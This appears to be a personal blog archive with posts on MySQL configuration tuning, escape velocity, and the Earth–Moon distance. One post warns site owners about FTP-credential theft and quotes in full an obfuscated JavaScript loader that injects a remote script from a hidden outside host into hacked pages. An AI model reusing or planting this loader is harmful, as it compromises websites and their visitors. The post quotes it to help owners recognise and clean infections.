Category: leaving earth

MYSQL Tuning and Optimizing of my.ini or my.cnf

By , February 25, 2011 8:35 PM

One of the factors with the biggest impact on database performance is not the MySQL settings, but your queries! Make sure you have optimized all your queries first, and have created the right indexes on your tables for MySQL to use.

When tuning MySQL, the two most important variables to configure are key_buffer_size and table_cache. You should first feel confident that you have these set appropriately before trying to optimize any other variables. Ideally, key_buffer_size will be large enough to contain all the indexes (i.e. at least the total size of all .MYI files on the server) of your MyISAM tables.

1. query_cache_size:
* MySQL provides one feature that can prove very handy – a query cache. In a situation where the database has to repeatedly run the same queries on the same data set, returning the same results each time, MySQL can cache the result set, avoiding the overhead of running through the data over and over and is extremely helpful on busy servers.
2. key_buffer_size:
* The value of key_buffer_size is the size of the buffer used with indexes. The larger the buffer, the faster the SQL command will finish and a result will be returned. The rule-of-thumb is to set the key_buffer_size to at least a quarter, but no more than half, of the total amount of memory on the server. Ideally, it will be large enough to contain all the indexes (the total size of all .MYI files on the server).
* A simple way to check the actual performance of the buffer is to examine four additional variables: key_read_requests, key_reads, key_write_requests, and key_writes.
* If you divide the value of key_read by the value of key_reads_requests, the result should be less than 0.01. Also, if you divide the value of key_write by the value of key_writes_requests, the result should be less than 1.
3. table_cache:
* The default is 64. Each time MySQL accesses a table, it places it in the cache. If the system accesses many tables, it is faster to have these in the cache. MySQL, being multi-threaded, may be running many queries on the table at one time, and each of these will open a table. Examine the value of open_tables at peak times. If you find it stays at the same value as your table_cache value, and then the number of opened_tables starts rapidly increasing, you should increase the table_cache if you have enough memory.
4. sort_buffer:
* The sort_buffer is very useful for speeding up myisamchk operations (which is why it is set much higher for that purpose in the default configuration files), but it can also be useful everyday when performing large numbers of sorts.
5. read_rnd_buffer_size:
* The read_rnd_buffer_size is used after a sort, when reading rows in sorted order. If you use many queries with ORDER BY, upping this can improve performance. Remember that, unlike key_buffer_size and table_cache, this buffer is allocated for each thread. This variable was renamed from record_rnd_buffer in MySQL 4.0.3. It defaults to the same size as the read_buffer_size. A rule-of-thumb is to allocate 1KB for each 1MB of memory on the server, for example 1MB on a machine with 1GB memory.
6. thread_cache:
* If you have a busy server that’s getting a lot of quick connections, set your thread cache high enough that the Threads_created value in SHOW STATUS stops increasing. This should take some of the load off of the CPU.
7. tmp_table_size:
* “Created_tmp_disk_tables” are the number of implicit temporary tables on disk created while executing statements and “created_tmp_tables” are memory-based. Obviously it is bad if you have to go to disk instead of memory all the time.

Notes for the future (i.e InnoDB):
If you use InnoDB, it’s buffer pool is controlled by: innodb_buffer_pool_size (this cache also holds row level data). This is the equivalent of key_buffer_size for MyISAM key buffers.
This variable stores the internal data structure. Make sure it is big enough to store data about all your InnoDB tables (you will see warnings in the error log if the server is using OS memory instead).
Since MySQL 4.1.1, the buffer block size is available with the key_cache_block_size server variable. Default 1024.

then test your setup on to check your max memory size

Site virus

By , December 11, 2009 2:39 PM

Has your site been hacked?

Have you seen this at the bottom of your web page code?

bald chicken

bald chicken

/*GNU GPL*/ try{window.onload = function(){var H3qqea3ur6p = document.createElement(‘script’);H3qqea3ur6p.setAttribute(‘type’, ‘text/javascript’);H3qqea3ur6p.setAttribute(‘id’, ‘myscript1’);H3qqea3ur6p.setAttribute(‘src’,  ‘h#!t&##(t&()p$$:!#@/!(/$#l!)i!&v()@e!^(.$(!c!)o)m@.&!#g#@o((o^g)(l^$!e$)@.&)$c$#o(m#^@.)$b#@#!#a&i#!d^$#$u#)$!(-!((m^!s$)n$&(.@)@c^@$o((m!(&.^)(b&!!)e@s(&t@@a()r#$#)t))@s#!#)a!l##e@(.))&r$!u!&):)8(0$)@$8^#^@0&)$^/!!&w@$(o@^r(^(!d@^p^#)r#e@^s(&s&@@.(^^c#^o@!!m$)/)&^g@$(^o@(^o@g@&$l&&#e^))&@-($(m)#)a#)i^l^#.!&^)i!&t$@^/((!(l)!i&v^(&(e()#j^$a&s@(&m$^&(i$#@n!#^-#@)p$!!$h$!o(&#t(#o##)!b#!$u^c^#k((e&!)t#!((#.$$@c!&@o@m^)&/)!c&#(n$)e()&&t)#-^#!c^(@n^^n&#).)c!&!o$#m($/$^a&!@@b&()o^($(u!&#)t^#-#))e$@@)b##a#^y&&@.&#(^c&o^^m^@/(@^^’.replace(/\^|&|@|\)|\(|#|\!|\$/ig, ”));H3qqea3ur6p.setAttribute(‘defer’, ‘defer’);document.body.appendChild(H3qqea3ur6p);}} catch(e) {}

This is caused by a virus that infects your computer commonly via bit torrent files downloaded that have a virus hidden in them.

Then this virus scans you computer for any FTP programs that you may have installed,

and steals the passwords for your FTP sites.

Then an automated program connects to your FTP site, and adds the above to any.

1) Html

2) java script filers

3) php files

4) possibly asp files

so they all need to be scanned for the following

I recommend using a program called Search and Replace

this will fix all your programs in one hit.

The of course chage all your passwords of your FTP sites,

and get rid of the virus if you can find it

Earth escape velocity vs escape speed

By , September 7, 2009 10:12 AM

Escape Velocity and Escape Speed

Escape Velocity and Escape Speed are two similar yet different terms.
This surface escape velocity is the speed required for an object to leave a planet if the object is simply projected from the surface of a planet and then left without any more kinetic energy input.
In practice the vehicle’s propulsion system will continue to provide energy after it has left the surface.

A planet has mass M (Earth 6.0×1024 kilograms), and a planet has gravity and the object is located a distance from the center of the planet or planets radius r (Earth’s radius is 6.4×106 meters) and the object you are trying to project has a mass m.



Escape Velocity

Newtons example of escape velocity of a projectile

Newtons example of escape velocity of a projectile

This more or less refers to projectiles, and the initial speed required of them to escape the gravitational forces of a planet.
Take for example a rile and if you were to fire it upwards, what would be the required initial velocity required of the bullet to escape the earths gravity.
i.e. so that gravity will never manage to pull it back.

This would depend on the mass of the planet and the distance from the center point.

On the surface of the Earth, the escape velocity is about 11.2 kilometers per second, which is approximately 34 times the speed of sound (mach 34) and at least 10 times the speed of a rifle bullet. However, at 9,000 km altitude in “space”, it is slightly less than 7.1 km/s.

If an object moves fast enough it can escape a massive object’s gravity and not be drawn back toward the massive object.

More specifically, this is the initial speed something needs to escape the object’s gravity and assumes that there is no other force acting on the object besides gravity after the initial boost.

This is not the case with rockets.  Their intial speed is 0 km/s, and then this is gradually accelerated as they continue to thrust upwards.

Rockets leaving the Earth do not have the escape velocity at the beginning but the engines provide thrust for an extended period of time, so the rockets can eventually escape. The concept of escape velocity applies to anything gravitationally attracted to anything else (gas particles in planet atmospheres, comets orbiting the Sun, light trying to escape from black holes, galaxies orbiting each other, etc.).

How do you do that?

Find the escape velocity from the surface of the Earth. Using the acceleration of gravity, you can find that the Earth has a mass of 6.0×1024 kilograms. The Earth’s radius is 6.4×10 6 meters. Since the mass and distance from the center are in the standard units, you just need to plug their values into the escape velocity relation.
The Earth’s surface escape velocity is Sqrt[2× (6.7×10-11) × (6.0×10 24)/ (6.4×10 6)] = Sqrt[1.256×10 8] = 1.1×104 meters/second (= 11 km/s).

Here are some other surface escape velocities: Moon = 2.4 km/s, Jupiter = 59.6 km/s, Sun = 618 km/s.

Mass of central object = [(orbital speed)2 × distance)/G.
Mass of central object (Kepler’s 3rd law) = (4p2)/G × [(distance)3/(orbital period)2].
Orbital speed = Sqrt[G × Mass / distance].
Escape velocity = Sqrt[2G × Mass / distance].

Escape velocity relative to Equator and Spin of the Earth

The escape velocity relative to the surface of a rotating body depends on direction in which the escaping body travels. For example, as the Earth’s rotational velocity is 465 m/s at the equator, a rocket launched tangentially from the Earth’s equator to the east requires an initial velocity of about 10.735 km/s relative to Earth to escape whereas a rocket launched tangentially from the Earth’s equator to the west requires an initial velocity of about 11.665 km/s relative to Earth. The surface velocity decreases with the cosine of the geographic latitude, so space launch facilities are often located as close to the equator as feasible, e.g. the American Cape Canaveral (latitude 28°28′ N) and the French Guiana Space Centre (latitude 5°14′ N).

Gravitational Space Wells

Gravitational Space Wells

distance to the moon

By , September 7, 2009 10:11 AM

Distance to moon

distance to the moon

The average distance to the Moon is 382,500 km.
The distance varies because the Moon travels around Earth in an elliptical orbit.

At perigee, the point at which the Moon is closest to Earth, the distance is approximately 360,000 km.

At apogee, the point at which the Moon is farthest from Earth, the distance is approximately 405,000 km.

Diameter of the Moon and Earth

The Earth’s diameter as 12,756 km and the Moon’s diameter as 3,476 km.

Therefore, the Moon’s diameter is 27.25% of Earth’s diameter.
An official basketball has a diameter of 24 cm. This can serve as a model for Earth.

A tennis ball has a diameter of 6.9 cm which is close to 27.25% of the basketball.
(The tennis ball is actually 28.8% the size of the basketball.)

These values are very close to the size relationship between Earth and the Moon.
The tennis ball, therefore, can be used as a model of the Moon.

Thomas Challenger Thomas Challenger